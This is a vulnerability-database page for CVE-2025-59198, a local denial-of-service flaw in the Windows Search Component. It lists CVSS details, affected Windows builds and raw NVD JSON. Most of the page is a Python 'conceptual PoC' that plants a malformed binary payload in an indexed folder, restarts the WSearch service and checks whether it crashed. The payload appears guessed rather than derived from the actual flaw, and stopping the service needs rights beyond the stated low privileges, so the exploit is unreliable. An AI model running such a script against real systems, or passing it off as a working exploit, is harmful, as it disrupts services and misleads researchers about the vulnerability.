Security Vulnerability Report
中文
CVE-2025-59198 CVSS 5.0 MEDIUM

CVE-2025-59198

Published: 2025-10-14 17:15:59
Last Modified: 2025-10-30 16:37:22

Description

Improper input validation in Microsoft Windows Search Component allows an authorized attacker to deny service locally.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10(1809及以后版本)
Microsoft Windows 10(22H2)
Microsoft Windows 11(21H2)
Microsoft Windows 11(22H2)
Microsoft Windows 11(23H2)
Microsoft Windows 11(24H2)
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59198 - Conceptual PoC for Windows Search Component DoS # Vulnerability: Improper input validation in Windows Search Component # Impact: Local Denial of Service # WARNING: For authorized security testing and educational purposes ONLY import os import struct import subprocess import sys import time class CVE_2025_59198_PoC: """ Conceptual Proof-of-Concept for CVE-2025-59198. Demonstrates how improper input validation in Windows Search Component can be leveraged to cause a local DoS condition. """ def __init__(self): self.target_dir = os.path.expandvars( r"%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer" ) self.search_service = "WSearch" def generate_malicious_payload(self): """Generate malformed input targeting search indexer parser.""" payload = bytearray() # Simulate malformed search protocol header payload += b"\x4D\x53\x46\x54" # Magic bytes payload += struct.pack("<I", 0x7FFFFFFF) # Excessive length field # Repeated pattern to trigger resource exhaustion payload += b"\x90" * 524288 # 512KB of NOP-like data # Invalid UTF-16 sequences to break parser payload += b"\xFF\xFE\xFD\xFC" * 4096 # Nested structure to trigger stack overflow payload += b"\x7B\x22" * 65536 return bytes(payload) def deploy_payload_to_indexed_location(self): """Write malicious file to a location that Windows Search indexes.""" os.makedirs(self.target_dir, exist_ok=True) target_file = os.path.join(self.target_dir, "exploit_input.bin") payload = self.generate_malicious_payload() try: with open(target_file, "wb") as f: f.write(payload) print(f"[+] Payload deployed: {target_file} ({len(payload)} bytes)") return True except PermissionError: print("[-] Permission denied. Requires user-level write access.") return False def trigger_search_indexing(self): """Force the search indexer to process the malicious file.""" print("[*] Triggering search service re-index...") try: # Stop and restart search service to force re-indexing subprocess.run( ["net", "stop", self.search_service], capture_output=True, timeout=30 ) time.sleep(2) subprocess.run( ["net", "start", self.search_service], capture_output=True, timeout=30 ) print("[+] Search service restarted") print("[!] If vulnerable, SearchIndexer.exe may crash") print("[!] Monitor for event ID 7034/7036 in System log") return True except subprocess.TimeoutExpired: print("[!] Service operation timed out - possible DoS triggered") return True except Exception as e: print(f"[-] Error: {e}") return False def verify_dos(self): """Check if the search service is in a failed state.""" try: result = subprocess.run( ["sc", "query", self.search_service], capture_output=True, text=True, timeout=10 ) if "STOPPED" in result.stdout or "FAILED" in result.stdout: print("[+] CONFIRMED: Search service is stopped/failed (DoS achieved)") return True else: print("[*] Search service appears to be running") return False except Exception as e: print(f"[-] Verification error: {e}") return False def main(): print("=" * 70) print(" CVE-2025-59198 - Windows Search Component DoS PoC") print(" CVSS: 5.0 (MEDIUM) | Local | Low Privs | User Interaction") print("=" * 70) print() poc = CVE_2025_59198_PoC() if poc.deploy_payload_to_indexed_location(): time.sleep(1) if poc.trigger_search_indexing(): time.sleep(5) poc.verify_dos() print() print("[*] PoC execution complete.") print("[*] Recommendation: Apply Microsoft October 2025 patches.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59198", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:59.173", "lastModified": "2025-10-30T16:37:22.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Microsoft Windows Search Component allows an authorized attacker to deny service locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "9D5EB1D1-8C53-4188-90B9-8ED2FD2837BD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "matchCriteriaId": "5F422A8C-2C4E-42C8-B420-E0728037E15C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*", "matchCriteriaId": "2ACA9287-B475-4AF7-A4DA-A7143CEF9E57"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update- ... (truncated)